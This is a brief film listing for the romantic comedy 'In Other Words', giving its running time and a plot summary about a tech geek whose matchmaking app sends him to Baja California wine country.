In Other Words
Vj Emmy Romance 01h 38m 6 years ago

A romantic comedy about a tech geek (Bryan McClure) who lands an investor (Chris Kattan) for his matchmaking app. But when his app matches him with a beautiful girl (Natasha Esca) who doesn't speak English, he travels with his buddies (Joe Nunez and Rishi Arya) to wine country in Baja California, Mexico to prove his algorithm isn't screwy.
